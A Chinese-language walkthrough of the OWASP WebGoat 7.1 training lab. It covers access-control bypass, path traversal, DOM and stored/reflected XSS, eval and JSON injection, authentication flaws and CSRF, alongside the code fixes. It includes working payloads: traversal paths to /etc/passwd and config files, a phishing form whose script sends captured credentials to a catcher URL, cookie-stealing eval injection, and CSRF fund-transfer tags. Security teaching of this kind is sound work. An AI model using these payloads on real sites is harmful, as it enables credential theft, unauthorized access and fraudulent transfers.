WSASP中文文档参考链接:
http://www.owasp.org.cn/owasp-project/2017-owasp-top-10
OWASP Top 10 2017中文版V1.3
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.3.pdf
OWASP Top 10 2017英文版发布
http://www.owasp.org.cn/owasp-project/OWASPTop102017v1.1.pdf
我们希望《OWASP Top 10》能对您的应用程序安全有帮助。如果有任何疑问、评论和想法,请不要犹豫,立即通过GitHub与OWASP取得联系。
https://github.com/OWASP/Top10/issues
您可以在以下链接找到《OWASP Top 10》及不同语言的翻译文档:
https://www.owasp.org/index.php/top10
安装
安装docker
docker pull webgoat/webgoat-7.1
docker run -p 8080:8080 -t webgoat/webgoat-7.1
如果想要进去docker容器,docker ps查看容器,然后docker exec –it 容器ID /bin/bash
General
Http Basics(HTTP基础)
主题:该课目的在于了解浏览器和Web 应用程序之间数据交互的基本知识。
原理:HTTP 是如何工作的呢?所有的HTTP 传输都要遵循同样的通用格式(需要使用IEWatch或WebScarab 类插件协助进行学习)。每个客户端的请求和服务端的响应都有三个部分:请
求或响应行、一个报头部分和实体部分。客户端以如下方式启动一个交互:客户端连接服务器并发送一个文件请求。
GET /index.html?param=value HTTP/1.0
接下来,客户端发送可选头信息,告知接收服务器其配置和文件格式。
User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*
发送请求和报头之后,客户端可以发送更多的数据。该数据主要用于使用POST 方法的CGI 程序。
目标:熟悉HTTP 请求的基本操作原理
该选项是显示HTTP数据包的内容,使用burpsuit代理抓取数据包,我在EnterYourName输入webgoat,下面数据包person参数接收webgoat。
POST /webgoat/attack?Screen=1869022003&menu=100 HTTP/1.1 Host: 192.168.185.73:8080 Content-Length: 25 Accept: */* Origin: http://192.168.185.73:8080 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://192.168.185.73:8080/webgoat/start.mvc Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=B18583D60D2ACF9BA51589660D0C915E; PHPSESSID=4sfobee5lmb5c1olr4dea9h9j1; showhints=1 Connection: close person=webgoat&SUBMIT=Go!
Access Control Flaws(访问控制缺陷)
Using an Access Control Matrix(使用访问控制矩阵)
主题:在一个基于角色的访问控制方案中,角色代表了一组访问权限和特权。一个用户可以被分配一个或多个角色。一个基于角色的访问控制方案通常有两个部分组成:角色权限管理和
角色分配。一个被破坏的基于角色的访问控制方案可能允许用户执行不允许他/她的被分配的角色,或以某种方式允许特权升级到未经授权的角色的访问。
原理:略
目标:
每个用户都是允许访问某些资源的角色的成员。您的目标是探索管理此网站的访问控制规则。只有[Admin]组才能访问“Account Manager”资源。
示范如下:
MOE用户不允许访问该“Account Manager”组。
使用burpsuite进行遍历破解:
启动攻击后的结果:
从结果可知:Larry 和 Shemp 都可以访问Account Manager组的资源,Larry 属于【User, Manager】,Shemp 属于【Admin】。
Larry允许访问该“Account Manager”,左上角打钩代表课程完成。
Bypass a Path Based Access Control Scheme(绕过路径访问控制方案)
主题:在一个基于路径的访问控制方案中,攻击者可以通过提供相对路径信息遍历路径。因此,攻击者可以使用相对路径访问那些通常任何人都不能直接访问或直接请求就会被拒绝的文件。
原理:大多数操作系统允许在路径中使用某些特征字符,如:
/etc/passwd ~/.ssh ./configure ./../../../etc/passwd c:oot.ini . est.txt ......oot.ini file:///c:bot.ini c: est~1.txt
目标:‘webgoat’用户可以访问lessonPlans/en目录中的所有文件。 尝试破坏访问控制机制并访问不在列出的目录中的资源。 选择要查看的文件后,WebGoat将报告是否授予对文件的访问权限。 尝试获取的有趣文件可能是像WEB-INF/spring-security.xml这样的文件。 请记住,文件路径将根据WebGoat的启动方式而有所不同。
当前路径:
/opt/tomcat/apache-tomcat/webapps/webgoat/plugin_extracted/plugin/BackDoors/lessonPlans/en/BackDoors.html
现在我们要获取"WEB-INF/spring-security.xml"文件的内容。首先说一下../代表上一级目录,其次我们要找到文件的路径,最后更改文件路径。
文件WEB-INF/spring-security.xml的实际路径为: "/opt/tomcat/apache-tomcat/webapps/webgoat/WEB-INF/spring-security.xml"
因此我们要先退回到"/opt/tomcat/apache-tomcat/webapps/webgoat/"目录下,故相对路径为"../../../../../WEB-INF/spring-security.xml"
操作如下,使用burpsuit拦截并修改请求中File参数的内容:
LAB: Role Based Access Control(基于角色的访问控制)
主题:在一个基于角色访问控制的方案中,角色代表一组访问权限和特权。一个用户可以被分配一个或多个角色,一个基于角色的访问控制通常包括两个部分:角色权限管理和角色分配。一个被破坏的基于角色的访问控制方案,可能允许用户以没有分配他/她的角色或以某种方式获得的未经授权的角色进行访问。
原理:很多网站都尝试使用基于角色的方式严格限制资源访问,但开发人员在实现这类解决方案时容易出现疏忽。
该类型分四个阶段,故而在下面阶段演示。
Stage 1: Bypass Business Layer Access Control(阶段1:绕过业务层访问控制)
第一步,先找出来可以执行删除个人资料操作的帐户。
使用burpsuite进行遍历:
第二步,使用可执行删除个人资料的帐户登录,尝试执行删除个人资料操作的帐户,拦截该报文,然后丢弃。
作为普通员工“tom”,利用弱访问控制来使用“职员列表”页面中的“删除”功能。验证可以删除汤姆的个人资料。用户的密码是小写的给定名称(例如Tom Cat的密码是“tom”)。
登录进去之后,使用burpsuite对ViewProfile操作的请求进行拦截。
修改action参数的内容为DeleteProfile,然后转发数据包即可。
Stage 2: Add Business Layer Access Control.
本课程仅与WEBGOAT的开发者版本协调工作
执行修复以拒绝未经授权的访问删除功能。为此,您必须更改WebGoat代码。完成此操作后,重复第1步,并验证是否正确地拒绝对DeleteProfile功能的访问。
在Eclipse或Myeclipse中打开【WebGoat-Lessons】->【role-based-access-control】->【org.owasp.webgoat.plugin.rollbased】文件夹中对RoleBasedAccessControl.java文件进行修改,在文件的234行已经使用CODE HERE进行了注释和标注,在此增加如下代码:
// ***************CODE HERE************************* if(!isAuthorized(s, getUserId(s),requestedActionName)) { throw new UnauthenticatedException(); } // *************************************************
重新打包role-based-access-control-1.0.jar,并替换服务器上对应的资源。
然后在此界面重新执行阶段1的操作,越权请求被拒绝。实验通过。如下图所示:
Stage 3: Breaking Data LayerAccess Control(阶段3:打破数据层访问控制)
目标:作为普通员工“tom”,利用弱访问控制来查看其他员工的个人资料。
使用tom用户登录
使用burpsuite对viewprofile操作按钮进行抓包,105是tom的ID号,而Larry的ID号为101,修改ID为101
Stage 4: Add Data Layer Access Control.(阶段4:添加数据层访问控制。)
执行修复拒绝未授权访问数据。一旦完成,重复阶段3,验证访问另一个员工的简介被被正确的拒绝。
在Eclipse或Myeclipse中打开【WebGoat-Lessons】->【role-based-access-control】->【org.owasp.webgoat.plugin.rollbased】文件夹中对RoleBasedAccessControl.java文件进行修改,在文件的234行已经使用CODE HERE进行了注释和标注,在此增加如下代码:
// ***************CODE HERE************************* if(!isAuthorized(s, getUserId(s),requestedActionName)) { throw new UnauthenticatedException(); } int userId = Integer.parseInt((String) s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID)); int employeeId = s.getParser().getIntParameter(RoleBasedAccessControl.EMPLOYEE_ID); if (!action.isAuthorizedForEmployee(s, userId, employeeId)) { throw new UnauthenticatedException(); } // *************************************************
重新打包role-based-access-control-1.0.jar,并替换服务器上对应的资源。
然后在此界面重新执行阶段3的操作,越权请求被拒绝。实验通过。如下图所示:
AJAX Security
DOM Injection
主题:DOM注入攻击
原理:一些应用程序专门使用AJAX 操控和更新在DOM 中能够直接使用的JavaScript、DHTML和eval()方法。攻击者可能会利用这一点,通过拦截答复,注入一些JavaScript 命令,实施攻击。
目标:
您的受害者是一个系统,需要一个激活密钥才能使用它。
您的目标应该是尝试启用激活按钮。
请花一些时间查看HTML源码,以了解关键验证过程的工作原理。
1、 输入License Key会自动发起一个Ajax的请求
2、 通过拦截AJAX请求的返回报文,更改为返回一段JS代码
document.form.SUBMIT.disabled = false
或直接检查按钮元素,将disabled=""修改为disabled="false"
<input disabled="" id="SUBMIT" value="Activate!" name="SUBMIT" type="SUBMIT">
点击提交按钮,如下图所示:
LAB: DOM-Based cross-site scripting
主题:基于 DOM 的跨站点访问。文档对象模型(DOM)从安全的角度展现了一个有趣的问题。它允许动态修改网页内容,但是这可以被攻击者用来进行恶意代码注入攻击。XSS,一种恶意代码注入,一般会发生在未经验证的用户的输入直接修改了在客户端的页面内容的情况下。
原理:HTML DOM 实体中可随时插入新的HTML 语句或JavaScript 语句,因此很容易被恶意代码利用,从而用来改变页面显示内容或执行恶意代码。HTML 标记语言中很多标签的特殊属性参数中允许插入JS 代码,如:IMG/IFRAME 等。
目标:在这个练习中,您的任务是利用此漏洞将恶意代码注入到DOM,然后在最后阶段,通过修改代码来修复这个缺陷,从而解决该漏洞。
阶段1:对于本练习,您的任务是使用以下位置的图像对本网站进行描述:OWASP IMAGE
在输入框输入<img src="images/logos/owasp.jpg" />,点击提交按钮即可。
STAGE 2:现在,尝试使用image标签创建JavaScript警报
在输入框输入<img src=x onerror=;;alert('XSS') />,点击提交按钮即可。
阶段3:接下来,尝试使用IFRAME标签创建JavaScript警报。
在输入框输入<iframe src="javascript:alert('XSS')"></iframe>,点击按钮即可。
阶段4:使用以下命令创建假登录表单:
在文本框输入“Please enter your password:<BR><input type = "password"name="pass"/><button onClick="javascript:alert('I haveyour password: ' +pass.value);">Submit</button><BR><BR><BR><BR>”,如下图所示:
在上述文本框随便输入一个密码,例如:mypass,点击提交按钮,如下图所示:
阶段5:执行客户端HTML实体编码以减轻DOM XSS漏洞。在escape.js中为您提供了一种实用方法。
修改DOMXSS.js,在name加上escapeHTML(),即escapeHTML(name),然后保存即可。
function displayGreeting(name) { if (name != ''){ document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name) + "!"; } }
修改完成后,点击提交,如下所示:
LAB: Client Side Filtering(LAB:客户端过滤)
主题:服务端只向客户端发送其只能访问到的数据。在本课程中,服务端向客户端发送了过多的数据,由此产生了一个严重的访问控制问题。
原理:服务端与客户端数据交互过程虽然被页面代码进行了隐藏,但仍然可以通过Firebug、burpsuit 等工具捕获到,直接显示在用户眼前。
目标:该课目的在于利用服务器返回的多余信息,发现您不该访问的信息并修复该漏洞。
阶段1:你作为Moe Stooge,Goat Hills Financial的CSO登录。除CEO Neville Bartholomew之外,你可以访问每个人在公司中的信息。或者至少你不能访问CEO的信息。为这次练习,检查页面内容,看看你能发现什么额外的信息。
客户端过滤,有些时候服务器返回了很多条信息,只挑选了其中少数进行显示,可以在返回的html源码中看到全部的信息。
1、 随便选择一名用户进行查看,然后使用开发者调试工具选中名字附近点击“查看元素”;
2、 在源码中查看id="hiddenEmployeeRecords"的table;
3、 可以发现隐藏的员工信息,可以找到Neville Bartholomew的ID为112,Salary为450000。
4、 在页面源码中修改下拉列表中的任一value值为112,就可以查看Neville Bartholomew的信息。
阶段2:现在,修复此问题。修改服务器仅返回被Moe Stooge允许看到的结果。
点击该菜单节点,重新加载页面,点击下面的【Click here when you believe you have completed the lesson】按钮。
XML Injection
主题:XML注入
原理:AJAX 应用程序使用XML 与服务端进行信息交互。但该XML 内容能够被非法用户轻易拦截并篡改。
目标:WebGoat-Miles奖励里程显示所有可用的奖励。 输入帐户号码后,课程将显示您的余额和您负担得起的产品。 您的目标是尝试为您所允许的一套奖励增加更多奖励。 您的帐户ID是836239。
在输入框输入836239
使用调试器找到勾选框所在的源代码,添加两个<tr>,然后将所有框都打上勾
JSON Injection
主题:JSON注入攻击
原理:JavaScript Object Notation (JSON)是一种简单的轻量级的数据交换格式,JSON 可以以很多形式应用,如:数组,列表,哈希表和其他数据结构。JSON 广泛应用于AJAX 和web2.0 应用。相比XML,JSON 得到程序员的更多的青睐,因为它使用更简单,速度更快。但是与XML 一样容易受到注入攻击,恶意攻击者可以通过在请求响应中注入任意值。
目标:你旅行从波士顿,MA机场代码BOS,到西雅图,WA机场代码SEA一旦你输入机场的三个数字代码,一个AJAX请求将被执行用于请求票价你将会注意到有两个航班可选,贵的没有停靠,便宜的有两个停靠
你的目标是获取没有停靠但更便宜的价格正常是这样
使用burpsuit抓取,并拦截该HTTP请求的响应包,并把价格改为一个较低的数值。
还有另外一种思路,直接改最后的提交订单价格的HTTP请求。
Silent Transactions Attacks(静默交易攻击)
主题:静默交易攻击。
原理:对客户端来说,任何一个静默交易攻击,使用单一提交的系统都是有危险的。举例来说,如果一个正常的web 应用允许一个简单的URL 提交,一个预设会话攻击将允许攻击者在没有用户授权的情况下完成交易。在Ajax 里情况会变得更糟糕:交易是不知不觉的,不会在页面上给用户反馈,所以注入的攻击脚本可以在用户未授权的情况下从客户端把钱偷走。
目标:这是一个示例的网上银行应用程序 – 汇款页面。显示在您的余额之下,您转移的账户和您将转账的金额。应用程序使用AJAX在进行一些基本的客户端验证后提交交易。您的目标是尝试绕过用户的授权,并以静默方式执行交易。
在开发者调试工具的JavaScript控制台中输入 javascript:submitData('account', 12.34)
Insecure Client Storage(不安全的客户端存储)
主题:在服务端验证所有的用户输入信息总是不错的做法。客户端进行的任何验证信息都存在被逆向分析的脆弱性。记住,客户端的任何数据都不能被视为机密!
原理:客户端HTML 和JavaScrip 语句可以对网页内容、形式做修改,如隐藏、控制读写、限制长度等。同样,通过修改网页代码也能解除此类限制。
目标:
阶段1:对于此练习,您的任务是发现优惠券代码以获得意想不到的折扣。
使用开发者控制台进行调试,发现优惠价代码:PRESSTWO
阶段2:现在,尝试免费获得整个订单。
Dangerous Use of Eval(危险指令使用)
主题:在服务端验证所有用户输入的信息,这是一个不错的做法。如果未验证的用户输入直接通过HTTP 响应返回给客户端的话,往往会触发XSS 攻击。在这一课中,未验证的用户提供的数据结合了JavaScript 的eval()调用一起使用。在反射型XSS 攻击中,攻击者可以构造带有攻击脚本的URL,将其存储于其他站点,通过电子邮件,或者其他方式诱骗用户点击,达到XSS 的目的。对于这个练习,你的任务是想出一些包含script的输入。你尝试让这个页面来反应输入返回到将会执行脚本的浏览器。为了通过此课程,你必须弹出document.cookie。
原理:HTML 网页有一系列的HTML 编辑语言和字符组合完成。在源代码中任意位置添加一定的代码都有可能被浏览器解析,特别是HTML 中的标记字符和属性等信息,如:
<input name="submit" type="submit" value"提交"/>
本节课的内容与标准的反射型XSS 攻击课程类似。
目标:本练习课程中,您的任务是通过构造特殊的输入,在应用程序运行过程中执行恶意脚本。要通过本课程,必须通过alert()函数显示出document.cookie。
查看源代码,在123部分前后都构造如下的输入:
输入:123');alert(document.cookie);('
注:') 使得原本DOM不受影响,('闭合掉了原本多出的')
如下所示:
由于3位数的数字授权码会被带入JavaScript的eval()函数,因此可针对该授权码进行特别构造。
在enter your three digit access code 中输入以下代码即可完成:
123');alert(document.cookie);('
类似 eval(' $var '); 此时 $var 的内容为 123');alert(document.cookie);('
这个语句就相当于 eva(' 123');alert(document.cookie);(' ');
服务端收到并返回的JavaScript结果是:
eval(’123’);
alert(document.cookie);
('');
Same Origin Policy Protection(同源政策保护)
主题:AJAX 技术的一项关键元素是XMLHttpRequest(XHR),该技术允许客户端向服务端发起异步调用。然而,作为一项安全措施,这些请求最好只能从客户端原始页面向服务端发起访问。本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。
原理:同源策略是客户端脚本(尤其是Javascript)的重要的安全度量标准。它最早出自于Netscape Navigator2.0,其目的是防止某个文档或脚本从多个不同源装载。当脚本被浏览器半信半疑运行在沙箱时,它们应该只被允许访问来自同一站点的资源,而不是那些来自其它站点可能怀有恶意的资源。
目标:该练习将演示同源策略保护。XMLHttp 只能向同源服务端发送请求,任何向非同源服务端发送数据的尝试都将失败。
输入网址:/WebGoat/plugin_extracted/plugin/SameOriginPolicyProtection/jsp/sameOrigin.jsp
输入网址:http://www.google.com/search?q=aspect+security
This exercise demonstrates the Same OriginPolicy Protection. XHR requests can onlybe passed back to the originatingserver. Attempts to pass data to anon-originating server will fail.(本演示演示了同源政策保护。 XHR请求只能被传回给始发服务器。尝试将数据传递到非始发服务器将失败。)
Authentication Flaws(认证漏洞)
Password Strength(密码强度)
主题:密码是账户安全的保障。多数用户都在各个网站上使用同样的弱密码。如果您想您的应用程序不被攻击者暴力破解,应该设置一个较好的密码。好的密码应包含小写字母、大写字母和数字。密码越长,效果越好。
原理:密码越复杂,被成功猜解的代价也越高。代价通常以时间衡量。
目标:
您的Web应用程序的帐户与密码一样安全。对于此练习,您的工作是在https://howsecureismypassword.net上测试多个密码。 您必须同时测试所有6个密码…
在你的应用程序你应该设置好的密码要求!
桌面电脑需要多少时间来破解这些密码?
Forgot Password(忘记密码)
主题:Web 应用程序经常为用户提供密码找回功能。但不幸的是,很多Web 应用程序的实施机制并不正确。验证用户身份所需要的信息往往过于简单。
原理:没有任何锁定策略,暴力破解非常有效。
目标:
如果用户可以正确回答这个秘密问题,用户可以检索密码。这个“忘记密码”页面上没有锁定机制。您的用户名是“webgoat”,您最喜欢的颜色是“红色”。目标是检索另一个用户的密码。
1、 先用“webgoat”账户测试忘记密码过程
2、 admin用户喜欢的颜色,猜出来是green,获得admin的密码。
Multi Level Login 1
阶段1:此阶段仅仅是呈现一个典型的多层登录是如何工作的。你的目标是使用Jane和密码tarzan做一个常规登录。你有如下的TANS(交易认证号):
Tan #1 = 15648
Tan #2 = 92156
Tan #3 = 4879
Tan #4 = 9458
Tan #5 = 4879
登录:
阶段2:现在你是一个黑客,已经通过钓鱼邮件获得了Jane的一些信息。你有密码tarzan和Tan#1:15648。
问题是第一个tan已经被使用,尝试使用任何方式进入系统,拦截登录请求,Logout修改为false。
通过查看界面元素,修改文本为Enter TAN #1,Tan#1后的输入框输入已经获得的15648,提交,如下图所示:
拦截请求消息,修改hidden_tan的值为1,然后进行转发。
Multi Level Login 2
你是一个交Joe的攻击者。你有一个有效的webgoat金融账户。你的目标是作为Jane登录。你的用户名是Joe,密码是banana。这些是你的TANS(交易认证号):
Tan #1 = 15161
Tan #2 = 4894
Tan #3 = 18794
Tan #4 = 1564
Tan #5 = 45751
在第二次使用Joe登录系统,填写完Tan#2之后,使用代理拦截HTTP请求,修改hidden_user的值为Jane:
Buffer Overflows(缓冲区溢出)
主题:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
原理:通过向程序的缓冲区写入超出其长度的内容,导致缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
目标:
Off-by-One Overflows(逐个溢出)
欢迎来到OWASP酒店!你能找出VIP客户在哪一个房间吗?
未来访问互联网,你需要向我们提供如下信息:
阶段1:当他们出现在酒店登记系统时,确保你的第一个和最后一个名字是准确的
阶段2:使用代理拦截请求
为了确保内存溢出,需要在上述的Room Number里输入长度大于4096的数字,源代码的的检查如下:
将拦截的请求发送到Intruder模块,进行缓冲溢出探测:
执行攻击:
将拦截的请求中room_no的值修改为5024个3
审查网页元素,发现存在VIP用户信息:
重新填写酒店订单:
Code Quality(代码质量)
Discover Clues in the HTML(在HTML中发现线索)
主题:开发人员在源代码中留下诸如FIXME,TODO,Code Broken,Hack等的信息。 以下是基于表单的身份验证形式的示例。 寻找帮助您登录的线索。
原理:查看源码
目标:通过认证检查
Concurrency(并发)
Thread Safety Problems(线程安全问题)
主题:Web 应用程序可以同时处理很多HTTP 请求。开发人员经常使用的变量不是线程安全的。线程安全是指一个对象或类的领域在多线程同时使用的时候总是保持有效的状态。它往往可以利用并发错误,精确地在同一时间同一个页面加载另一个用户。因为所有的线程共享同一个方法区,而所有的类变量存储在方法区,多个线程试图同时使用相同的类变量。用户利用 Web 应用程序中的并发错误,查看同一时间另一个用户试图登录同一个功能的信息。
原理:Web 应用程序通常在同一时间要处理很多HTTP 请求。
目标:
在Web应用程序,用户可以利用并发错误,尝试查看另外一个用户登录信息,并使用相同的功能在相同的登录时间,需要使用2个浏览器完成。有效的用户名是“jeff”和“dave”。
原因:在编写代码时,没有考虑到多线程的问题(线程安全问题),源码:
private static String currentUser; private String originalUser;
这里currentUser使用了static静态变量,且没有做线程保护,就会造成浏览器Tab1访问这个页面时,Tab2同时访问,数据就会被替换掉。
Shopping Cart Concurrency Flaw(购物车并发缺陷)
主题:Web 应用程序可以同时处理很多HTTP 请求。开发人员经常使用的变量不是线程安全的。线程安全是指一个对象或类的领域在多线程同时使用的时候总是保持有效的状态。它往往可以利用并发错误,精确地在同一时间同一个页面加载另一个用户。因为所有的线程共享同一个的方法区,所有的类变量存储在方法区,多个线程试图同时使用相同的类变量。用户利用Web 应用程序中的并发错误,查看同一时间另一个用户试图登录同一个功能的信息。
原理:不涉及
目标:
在这个练习里,你的任务是利用并发问题以低的价格购买商品,需要使用2个浏览器。
先选择一个便宜商品,点击购买,如下图所示:
接着用另外一个浏览器,选择贵的商品并更新到购物车,如下图所示:
回到第一次点击的浏览器,点击confirm。如下图所示:
原因:和上述一样,也是由于变量未做线程安全保护,代码如下:
private static float runningTOTAL = 0; private static int subTOTAL = 0; private static float calcTOTAL = 0; private static int quantity1 = 0; private static int quantity2 = 0; private static int quantity3 = 0; private static int quantity4 = 0;
Cross-Site Scripting (XSS)
Phishing with XSS(网络钓鱼XSS)
主题:在服务端对所有输入进行验证总是不错的做法。当用户输入非法HTTP 响应时容易造成XSS。在XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
原理:HTML 文档的内容是可以被篡改的,如果您有权限操作页面源代码。
目标:
页面上如果存在一个已知的XSS攻击,本课程是一个网站如何支持钓鱼攻击的例子。
下面是一个标准的搜索功能。
使用XSS和HTML插入,你的目标是:
插入一个需要证书的HTML请求
增加一个Javascript脚本收集证书
将证书POST到http://localhost/webgoat/catcher?PROPERTY=yes
1、 表单代码
<form > <HR> <H2>This feature requires account login:</H2> Enter Username:<input type="text" id="user" name="user" ><br> Enter Password: <input type="password" id="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form>
2、 JavaScript代码
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); } </script>
3、 将上述两个代码合为一段,如下图所示,点击Search:
<form ><HR><H2>This feature requires account login:</H2>Enter Username:<input type="text" id="user" name="user" ><br>Enter Password:<input type="password" id="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><script> function hack(){XSSImage=new Image; XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); }</script>
4、 在上图中输入Username和Password,点击login,如下图所示:
点击确定,XSS攻击完成。
LAB: Cross Site Scripting(跨站脚本攻击)
主题:输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。
目标:在这个练习中,您将执行存储和反射XSS 攻击,您还可以通过在web 应用程序中调整代码来防护这种攻击。
阶段一:执行一个存储型XSS攻击
作为“Tom”,在编辑账号界面的Street字段执行一个存储型XSS攻击。验证“Jerry”被此攻击影响。账号所对应的密码是给定名字的小写(比如Tom Cat的密码是tom)。
使用Jerry登录,查看Tom的信息,完成阶段一。
阶段二:Block Stored XSS using Input Validation
实现修复,在写入数据库之前阻止存储型XSS,重复阶段1,“David”作为“Eric”的经理,确保David不受攻击影响。
修改源码:org.owasp.webgoat.plugin.crosssitescripting. UpdateProfileCrossSiteScripting:
/** 验证输入字符串是否包含存储型XSS攻击 2016-06-15 10:04**/ /**Code Start**/ String regex="[\s\w-,]*"; String strToValidate = firstName + lastName + ssn + title + phone + address1 + address2 + startDate + ccn + disciplinaryActionDate + disciplinaryActionNotes + personalDescription; Pattern pattern = Pattern.compile(regex); validate(strToValidate,pattern); /**Code End**/
此这段验证代码只允许s=whitspace: x0Bf ,w=word:a-zA-Z_0-9通过验证。使用其他字符将会抛出验证异常。也可根据需要修改正则表达式的匹配范围。
阶段3:执行一个先前的存储XSS攻击
雇员“Bruce”的简介被存储XSS预先加载。验证“David”被攻击所影响,尽管在阶段2已经修复。
使用“David”登录,然后查看“Bruce”的信息,即可完成。
阶段4:使用输出编码阻止存储XSS攻击
实施修复来阻止从数据库读取数据后的XSS攻击。重复阶段3,验证“David”不被“Bruce”的简介攻击所影响
修改源码:org.owasp.webgoat.plugin.crosssitescripting.ViewProfileCrossSiteScripting中的getEmployeeProfile方法,对于获取数据库返回的结果时使用HtmlEncoder.encode(answer_results.getString(字段名称))替换answer_results.getString(字段名称)。
阶段5:执行一个反射XSS攻击
在搜索员工页面使用脆弱性手工制造一个包含反射XSS攻击的URL。验证使用此链接的另一个用户被此攻击影响。
以“Larry”登录,在“Search Staff”搜索框输入“<script>alert("Dangerous");</script>”。
阶段6:使用输入验证阻止反射XSS
实施修复来阻止这个反射XSS攻击。重复阶段5,验证攻击URL不再有效。
修改源码:org.owasp.webgoat.plugin.crosssitescripting. FindProfileCrossSiteScripting中的第71行后增加如下代码:
/** 验证输入字符串是否包含存储型XSS攻击 2016-06-16 10:04**/ /**Code Start**/ String regex="[\s\w-,]*"; Pattern pattern = Pattern.compile(regex); validate(searchName,pattern); /**Code End**/
Stored XSS Attacks(存储型XSS)
主题:过滤所有用户输入是一个不错的做法,特别是那些后期会被用作OS、脚本或数据库查询参数的输入。尤其是那些将要长期存储的内容。用户不能创建非法的消息内容,例如:可以导致其他用户访问时载入非预期的页面或内容。
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
在Title里输入“Test Stored XSS”,在 Message里输入“<script>alert('xss')</script>”,如下图所示:
点击链接,如下图所示:
Reflected XSS Attacks(反射型XSS)
在服务器端验证所有输入是一个好的实践。当未验证的用户输入用在HTTP响应时会发生XSS。在一个反射XSS攻击中,攻击者可以使用攻击脚本制造一个URL,然后提交到另一个网站、发邮件或让受害者点击。
在“Enter your three digit access code”后面的输入框输入:<script>alert(' reflected XSS attack!')</script>,点击“Update Cart”,完成此课程。
Cross Site Request Forgery (CSRF)
主题:本节课程将指导您如何实现跨站请求伪造攻击(CSRF)。
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="http://www.mybank.com/sendFunds.do?acctId=123456"/>
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com 的transferFunds.do 页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。
目标:
你的目标是向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。在这个课程中,URL应该指向“attack”servlet,其带有课程“Screen”和“menu”参数,一个额外参数“"transferFunds”带有任意数字值诸如5000。你可以在右边的参数插图里查找“Screen”和“menu”值来构造连接。CSRF邮件的收件人恰好在那个时候进行身份验证,将转移他们的资金。当这个课程的攻击成功,一个绿色的复选框标记就出现在左边菜单的课程名字旁边。
在Title输入:Cross Site Request Forgery Attack,在Message输入:<img src="http://192.168.185.73:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />,点击“Submit”,在Message List下出现一条提交的记录,如下图所示:
点图中的“Cross Site Request Forgery Attack”链接,使用代理拦截请求,在请求的参数里添加&transferFunds=4000,提交请求,如下图所示:
CSRF Prompt By-Pass(绕过CSRF确认)
主题:本节课程将指导您如何实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令。
原理:网页中所有手动发起的请求操作,其实质是通过HTML+JavaScript 向服务器发起请求。
目标:
类似CSRF课程,你的目标是往新闻组发送一个邮件包含以下恶意请求:先转账,接着请求提示确认,URL指向CSRF课程的Screen和menu参数,还有额外参数“transferFunds=4000”和“transferFunds=CONFIRM”,你可以从右边复制课程参数来创建格式化的URL: "attack?Screen=XXX&menu=YYY&transferFunds=ZZZ",无论谁收到这个邮件,恰好在那个时间进行身份验证,将会转移他们的资金,当你认为这次攻击成功,刷新页面,你会发现左边菜单上的绿色复选框。
在Title输入:CSRF Prompt By-Pass Attack;在Message输入:
<iframe
src="attack?Screen=280&menu=900&transferFunds=5000"
id="myFrame" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300"
onload="document.getElementById('frame2').src='attack?Screen=280&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
id="frame2" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
</iframe>,
如下图所示:
点击消息链接:
